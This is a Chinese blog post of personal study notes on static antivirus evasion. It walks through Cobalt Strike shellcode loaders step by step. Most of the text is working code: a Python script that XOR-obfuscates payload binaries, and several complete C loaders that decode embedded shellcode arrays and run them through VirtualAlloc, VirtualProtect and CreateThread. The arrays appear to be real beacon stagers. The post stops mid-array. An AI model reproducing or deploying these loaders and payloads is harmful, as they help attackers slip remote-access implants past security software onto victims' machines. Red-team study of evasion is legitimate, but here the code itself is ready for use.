了解了解
[toc]
参考课程 参考课程以及资料如下:
作者: 倾旋
后渗透下遇到的问题一(静态免杀)
https://github.com/Rvn0xsy/BadCode
为了学习的完整性,推荐各位师傅去看原文学习,本文只是我的个人摘抄笔记,仅用做个人学习用途。
前言
通常在演练过程里,目的是追求快速的获取更多的权限,但是目标机器都安装了各种反病毒软件,种类繁多,大多对于静态查杀管控较为严格,导致一些工具无法使用。而在这个夹缝中生存的渗透师,就必须要学习更多的知识
关于代码 一般来说,不管是Linux操作系统、Windows操作系统,可执行的应用程序文件,都遵循着一种格式:
这种格式又包含了:可执行的应用程序、动态链接库等等,如Windows下的*.exe、*.dll。
而这些文件,其中都有一块空间用于保存程序的代码,也就是指令集,操作系统若想要执行一个文件,就要先将文件加载到内存,并分配相应的虚拟地址空间,创建一个进程和线程,线程再去执行程序的代码。
那么假设如上可以理解,就能够推断出常用的Shellcode加载器的工作原理:
Shellcode是代码本身
加载器是具备读取代码的程序
加载器执行后,操作系统会创建一个进程与一个线程
第一个线程用于读取代码(Shellcode)并创建第二个线程,将线程执行的第一条指令指向代码(Shellcode)
关于内存 在Windows操作系统中,每个进程互不干扰(除了公用的内核对象以外),都有自己的虚拟内存空间,而这一块线性的内存空间又被切成一页一页的大小,通常默认情况下,每页的大小是4KB。
Windows通过以页的单位来管理进程的虚拟内存空间,最典型的例子:
1 2 3 4 5 6 LPVOID VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) ;
使用VirtualAlloc
Windows API 可向操作系统申请内存空间,操作系统根据指定的大小来调整分配几页,并且会自动进行内存对齐。
为什么要讲到内存呢,因为静态免杀的核心就是将代码加载至内存 ,理解内存的管理方式,才能产生更多的想法。
关于静态免杀 静态免杀,提起这个很多人会想到很久远的…. 花指令、压缩壳、垃圾资源 等等。
但是由于Shellcode加载器的出现,很多人开始从源码方面出发,通过正常且无害的API来构建一个加载器。
目前见的最多的是两大加载器:
两者有什么不同呢,我想可能就是加载的文件格式不同,但最终都要运行文件中的代码。
静态恶意代码逃逸(第一课) 恶意代码的定义 以下文章中的所有关于恶意代码的定义都以Cobaltstrike的载荷为例。
Shellcode定义 Shellcode是一段机器指令的集合,通常会被压缩至很小的长度,达到为后续恶意代码铺垫的作用。当然你可以通过msfvenom生成各种用于测试的shellcode。
RAW 文件 RAW 中文意思是原始的、未经加工的,通常使用Cobaltstrike生成的bin文件。
RAW文件是可以直接进行字节操作读取的,因此加载到内存较为方便 ,通常一般使用混淆的方式再生成一遍。
C 文件 C文件给出的是一个C语言中的字符数组,也是可以通过以字节单位操作的。
1 2 3 unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x31\xc0\x6a\x40\xb4\x10\x68\x00\x10\x00\x00\x68\xff\xff\x07\x00\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x83\xc0\x40\x89\xc7\x50\x31\xc0\xb0\x70\xb4\x69\x50\x68\x64\x6e\x73\x61\x54\x68\x4c\x77\x26\x07\xff\xd5\xbb\x61\x00\x00\x00\xeb\x7b\x58\x89\xc6\x83\xef\x40\xfc\xb9\x40\x00\x00\x00\xf3\xa4\x89\xf8\x83\xe8\x40\x40\x80\xfb\x7a\x7e\x32\xbb\x61\x00\x00\x00\x88\x18\x40\x8b\x18\x43\x88\x18\x80\xfb\x7a\x7e\x1a\xbb\x61\x00\x00\x00\x88\x18\x40\x8b\x18\x43\x88\x18\x80\xfb\x7a\x7e\x07\xbb\x61\x00\x00\x00\x88\x18\x48\x48\xbb\x61\x00\x00\x00\x88\x18\x89\xf3\x89\xc6\x54\x5b\x83\xeb\x04\x53\x6a\x00\x53\x6a\x00\x68\x48\x02\x00\x00\x6a\x10\x50\x68\x6a\xc9\x9c\xc9\xff\xd5\x85\xc0\x75\x51\x89\xf0\x48\xb3\x00\x88\x18\x40\x8b\x30\xeb\x70\xe8\x80\xff\xff\xff\x00\x61\x61\x61\x2e\x6c\x6f\x76\x65\x32\x2e\x65\x73\x73\x68\x6f\x70\x77\x65\x62\x2e\x78\x79\x7a\x2e\x6c\x6f\x76\x65\x2e\x65\x73\x73\x68\x6f\x70\x77\x65\x62\x2e\x78\x79\x7a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x89\xf0\x48\x8b\x08\x41\x88\x08\x80\xf9\x5f\x7e\x07\x68\xf0\xb5\xa2\x56\xff\xd5\x68\xe8\x13\x00\x00\x68\x44\xf0\x35\xe0\xff\xd5\x89\xf0\x8b\x08\x89\xcb\xe9\x23\xff\xff\xff\x87\xfa\x5f\x8b\x47\x18\x83\xf8\x01\x75\x39\x83\xc7\x1c\x8b\x3f\x87\xde\x89\xfe\x8b\x7c\x24\x08\x31\xc9\xb1\xff\xf3\xa4\x57\x57\x57\x43\x87\xfa\x52\x57\x53\x81\xea\xff\x00\x00\x00\x52\x68\xf4\x00\x8e\xcc\xff\xd5\x5b\x5f\x5a\x3d\xff\x00\x00\x00\x7c\x07\xe9\xdf\xfe\xff\xff\x89\xd7\x81\xc7\x15\x00\x00\x00\xff\xe7\x00\x00\x00\x00" ;
组合
采用混淆、加密解密的方式把载荷还原。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import sysfrom argparse import ArgumentParser, FileTypedef process_bin (num, src_fp, dst_fp, dst_raw ): shellcode = '' shellcode_size = 0 shellcode_raw = b'' try : while True : code = src_fp.read(1 ) if not code: break base10 = ord(code) ^ num base10_str = chr(base10) shellcode_raw += base10_str.encode() code_hex = hex(base10) code_hex = code_hex.replace('0x' ,'' ) if (len(code_hex) == 1 ): code_hex = '0' + code_hex shellcode += r'\x' + code_hex shellcode_size += 1 src_fp.close() dst_raw.write(shellcode_raw) dst_raw.close() dst_fp.write(shellcode) dst_fp.close() return shellcode_size except Exception as e: sys.stderr.writelines(str(e)) def main (): parser = ArgumentParser(prog='Shellcode X' , description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: [email protected] ' ) parser.add_argument('-v' ,'--version' ,nargs='?' ) parser.add_argument('-s' ,'--src' ,help=u'source bin file' ,type=FileType('rb' ), required=True ) parser.add_argument('-d' ,'--dst' ,help=u'destination shellcode file' ,type=FileType('w+' ),required=True ) parser.add_argument('-n' ,'--num' ,help=u'Confused number' ,type=int, default=90 ) parser.add_argument('-r' ,'--raw' ,help=u'output bin file' , type=FileType('wb' ), required=True ) args = parser.parse_args() shellcode_size = process_bin(args.num, args.src, args.dst, args.raw) sys.stdout.writelines("[+]Shellcode Size : {} \n" .format(shellcode_size)) if __name__ == "__main__" : main()
把raw文件混淆,生成c语言数组
反感:
先生成bin文件,然后运行python脚本:
1 python3 .\xor_shellcoder.py -s .\payload.bin -d payload.c -n 10 -r RAW
在payload.c中会看到raw文件里的每一个字节与10的异或运算出的C语言数组。
1 \xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x3b\xca\x60\x4a\xbe\x1a\x62\x0a\x1a\x0a\x0a\x62\xf5\xf5\x0d\x0a\x60\x0a\x62\x52\xae\x59\xef\xf5\xdf\x89\xca\x4a\x83\xcd\x5a\x3b\xca\xba\x7a\xbe\x63\x5a\x62\x6e\x64\x79\x6b\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\xb1\x6b\x0a\x0a\x0a\xe1\x71\x52\x83\xcc\x89\xe5\x4a\xf6\xb3\x4a\x0a\x0a\x0a\xf9\xae\x83\xf2\x89\xe2\x4a\x4a\x8a\xf1\x70\x74\x38\xb1\x6b\x0a\x0a\x0a\x82\x12\x4a\x81\x12\x49\x82\x12\x8a\xf1\x70\x74\x10\xb1\x6b\x0a\x0a\x0a\x82\x12\x4a\x81\x12\x49\x82\x12\x8a\xf1\x70\x74\x0d\xb1\x6b\x0a\x0a\x0a\x82\x12\x42\x42\xb1\x6b\x0a\x0a\x0a\x82\x12\x83\xf9\x83\xcc\x5e\x51\x89\xe1\x0e\x59\x60\x0a\x59\x60\x0a\x62\x42\x08\x0a\x0a\x60\x1a\x5a\x62\x60\xc3\x96\xc3\xf5\xdf\x8f\xca\x7f\x5b\x83\xfa\x42\xb9\x0a\x82\x12\x4a\x81\x3a\xe1\x7a\xe2\x8a\xf5\xf5\xf5\x0a\x6b\x6b\x6b\x24\x66\x65\x7c\x6f\x38\x24\x6f\x79\x79\x62\x65\x7a\x7d\x6f\x68\x24\x72\x73\x70\x24\x66\x65\x7c\x6f\x24\x6f\x79\x79\x62\x65\x7a\x7d\x6f\x68\x24\x72\x73\x70\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x83\xfa\x42\x81\x02\x4b\x82\x02\x8a\xf3\x55\x74\x0d\x62\xfa\xbf\xa8\x5c\xf5\xdf\x62\xe2\x19\x0a\x0a\x62\x4e\xfa\x3f\xea\xf5\xdf\x83\xfa\x81\x02\x83\xc1\xe3\x29\xf5\xf5\xf5\x8d\xf0\x55\x81\x4d\x12\x89\xf2\x0b\x7f\x33\x89\xcd\x16\x81\x35\x8d\xd4\x83\xf4\x81\x76\x2e\x02\x3b\xc3\xbb\xf5\xf9\xae\x5d\x5d\x5d\x49\x8d\xf0\x58\x5d\x59\x8b\xe0\xf5\x0a\x0a\x0a\x58\x62\xfe\x0a\x84\xc6\xf5\xdf\x51\x55\x50\x37\xf5\x0a\x0a\x0a\x76\x0d\xe3\xd5\xf4\xf5\xf5\x83\xdd\x8b\xcd\x1f\x0a\x0a\x0a\xf5\xed\x0a\x0a\x0a\x0a
静态恶意代码逃逸(第二课) 关于Windows操作系统内存 Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。
操作系统给予每个进程申请内存的权力,使用不同的API,申请的内存具有不同的涵义。
在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。
申请方式:
HeapAlloc
malloc
VirtualAlloc
new
LocalAlloc
…
申请内存API的关系 其实以上所有的内存申请方式都与VirtualAlloc有关,因为VirtualAlloc申请的单位是“页”。而Windows操作系统管理内存的单位也是“页”。
实现一次正常加载 使用cobaltstrike默认的shellcode进行加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include <Windows.h> int wmain (int argc,TCHAR * argv[]) { int shellcode_size = 0 ; DWORD dwThreadId; HANDLE hThread; unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x3b\xca\x60\x4a\xbe\x1a\x62\x0a\x1a\x0a\x0a\x62\xf5\xf5\x0d\x0a\x60\x0a\x62\x52\xae\x59\xef\xf5\xdf\x89\xca\x4a\x83\xcd\x5a\x3b\xca\xba\x7a\xbe\x63\x5a\x62\x6e\x64\x79\x6b\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\xb1\x6b\x0a\x0a\x0a\xe1\x71\x52\x83\xcc\x89\xe5\x4a\xf6\xb3\x4a\x0a\x0a\x0a\xf9\xae\x83\xf2\x89\xe2\x4a\x4a\x8a\xf1\x70\x74\x38\xb1\x6b\x0a\x0a\x0a\x82\x12\x4a\x81\x12\x49\x82\x12\x8a\xf1\x70\x74\x10\xb1\x6b\x0a\x0a\x0a\x82\x12\x4a\x81\x12\x49\x82\x12\x8a\xf1\x70\x74\x0d\xb1\x6b\x0a\x0a\x0a\x82\x12\x42\x42\xb1\x6b\x0a\x0a\x0a\x82\x12\x83\xf9\x83\xcc\x5e\x51\x89\xe1\x0e\x59\x60\x0a\x59\x60\x0a\x62\x42\x08\x0a\x0a\x60\x1a\x5a\x62\x60\xc3\x96\xc3\xf5\xdf\x8f\xca\x7f\x5b\x83\xfa\x42\xb9\x0a\x82\x12\x4a\x81\x3a\xe1\x7a\xe2\x8a\xf5\xf5\xf5\x0a\x6b\x6b\x6b\x24\x66\x65\x7c\x6f\x38\x24\x6f\x79\x79\x62\x65\x7a\x7d\x6f\x68\x24\x72\x73\x70\x24\x66\x65\x7c\x6f\x24\x6f\x79\x79\x62\x65\x7a\x7d\x6f\x68\x24\x72\x73\x70\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x83\xfa\x42\x81\x02\x4b\x82\x02\x8a\xf3\x55\x74\x0d\x62\xfa\xbf\xa8\x5c\xf5\xdf\x62\xe2\x19\x0a\x0a\x62\x4e\xfa\x3f\xea\xf5\xdf\x83\xfa\x81\x02\x83\xc1\xe3\x29\xf5\xf5\xf5\x8d\xf0\x55\x81\x4d\x12\x89\xf2\x0b\x7f\x33\x89\xcd\x16\x81\x35\x8d\xd4\x83\xf4\x81\x76\x2e\x02\x3b\xc3\xbb\xf5\xf9\xae\x5d\x5d\x5d\x49\x8d\xf0\x58\x5d\x59\x8b\xe0\xf5\x0a\x0a\x0a\x58\x62\xfe\x0a\x84\xc6\xf5\xdf\x51\x55\x50\x37\xf5\x0a\x0a\x0a\x76\x0d\xe3\xd5\xf4\xf5\xf5\x83\xdd\x8b\xcd\x1f\x0a\x0a\x0a\xf5\xed\x0a\x0a\x0a\x0a" ;shellcode_size = sizeof (buf); char * shellcode = (char *)VirtualAlloc( NULL , shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); CopyMemory(shellcode,buf,shellcode_size); hThread = CreateThread( NULL , NULL , (LPTHREAD_START_ROUTINE)shellcode, NULL , NULL , &dwThreadId ); WaitForSingleObject(hThread,INFINITE); return 0 ; }
实现一次混淆加载 使用之前的Python脚本混淆生成RAW文件,最后得到混淆后的数组:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include <Windows.h> int wmain (int argc,TCHAR * argv[]) { int shellcode_size = 0 ; DWORD dwThreadId; HANDLE hThread; unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x31\xc0\x6a\x40\xb4\x10\x68\x00\x10\x00\x00\x68\xff\xff\x07\x00\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x83\xc0\x40\x89\xc7\x50\x31\xc0\xb0\x70\xb4\x69\x50\x68\x64\x6e\x73\x61\x54\x68\x4c\x77\x26\x07\xff\xd5\xbb\x61\x00\x00\x00\xeb\x7b\x58\x89\xc6\x83\xef\x40\xfc\xb9\x40\x00\x00\x00\xf3\xa4\x89\xf8\x83\xe8\x40\x40\x80\xfb\x7a\x7e\x32\xbb\x61\x00\x00\x00\x88\x18\x40\x8b\x18\x43\x88\x18\x80\xfb\x7a\x7e\x1a\xbb\x61\x00\x00\x00\x88\x18\x40\x8b\x18\x43\x88\x18\x80\xfb\x7a\x7e\x07\xbb\x61\x00\x00\x00\x88\x18\x48\x48\xbb\x61\x00\x00\x00\x88\x18\x89\xf3\x89\xc6\x54\x5b\x83\xeb\x04\x53\x6a\x00\x53\x6a\x00\x68\x48\x02\x00\x00\x6a\x10\x50\x68\x6a\xc9\x9c\xc9\xff\xd5\x85\xc0\x75\x51\x89\xf0\x48\xb3\x00\x88\x18\x40\x8b\x30\xeb\x70\xe8\x80\xff\xff\xff\x00\x61\x61\x61\x2e\x6c\x6f\x76\x65\x32\x2e\x65\x73\x73\x68\x6f\x70\x77\x65\x62\x2e\x78\x79\x7a\x2e\x6c\x6f\x76\x65\x2e\x65\x73\x73\x68\x6f\x70\x77\x65\x62\x2e\x78\x79\x7a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x89\xf0\x48\x8b\x08\x41\x88\x08\x80\xf9\x5f\x7e\x07\x68\xf0\xb5\xa2\x56\xff\xd5\x68\xe8\x13\x00\x00\x68\x44\xf0\x35\xe0\xff\xd5\x89\xf0\x8b\x08\x89\xcb\xe9\x23\xff\xff\xff\x87\xfa\x5f\x8b\x47\x18\x83\xf8\x01\x75\x39\x83\xc7\x1c\x8b\x3f\x87\xde\x89\xfe\x8b\x7c\x24\x08\x31\xc9\xb1\xff\xf3\xa4\x57\x57\x57\x43\x87\xfa\x52\x57\x53\x81\xea\xff\x00\x00\x00\x52\x68\xf4\x00\x8e\xcc\xff\xd5\x5b\x5f\x5a\x3d\xff\x00\x00\x00\x7c\x07\xe9\xdf\xfe\xff\xff\x89\xd7\x81\xc7\x15\x00\x00\x00\xff\xe7\x00\x00\x00\x00" ;shellcode_size = sizeof (buf); char * shellcode = (char *)VirtualAlloc( NULL , shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); CopyMemory(shellcode,buf,shellcode_size); hThread = CreateThread( NULL , NULL , (LPTHREAD_START_ROUTINE)shellcode, NULL , NULL , &dwThreadId ); WaitForSingleObject(hThread,INFINITE); return 0 ; }
第三课 内存申请的优化 在申请内存页时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <Windows.h> int wmain (int argc,TCHAR * argv[]) { int shellcode_size = 0 ; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect; unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a" ;shellcode_size = sizeof (buf); for (int i = 0 ;i<shellcode_size; i++){ buf[i] ^= 10 ; } char * shellcode = (char *)VirtualAlloc( NULL , shellcode_size, MEM_COMMIT, PAGE_READWRITE ); CopyMemory(shellcode,buf,shellcode_size); VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect); Sleep(2000 ); hThread = CreateThread( NULL , NULL , (LPTHREAD_START_ROUTINE)shellcode, NULL , NULL , &dwThreadId ); WaitForSingleObject(hThread,INFINITE); return 0 ; }
异或 InterlockedXorRelease
函数可以用于两个值的异或运算,最重要的一点就是,它的操作是原子的,也就是可以达到线程同步。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <Windows.h> #include <intrin.h> #include <WinBase.h> #include <stdio.h> int wmain (int argc,TCHAR * argv[]) { int shellcode_size = 0 ; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect; char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\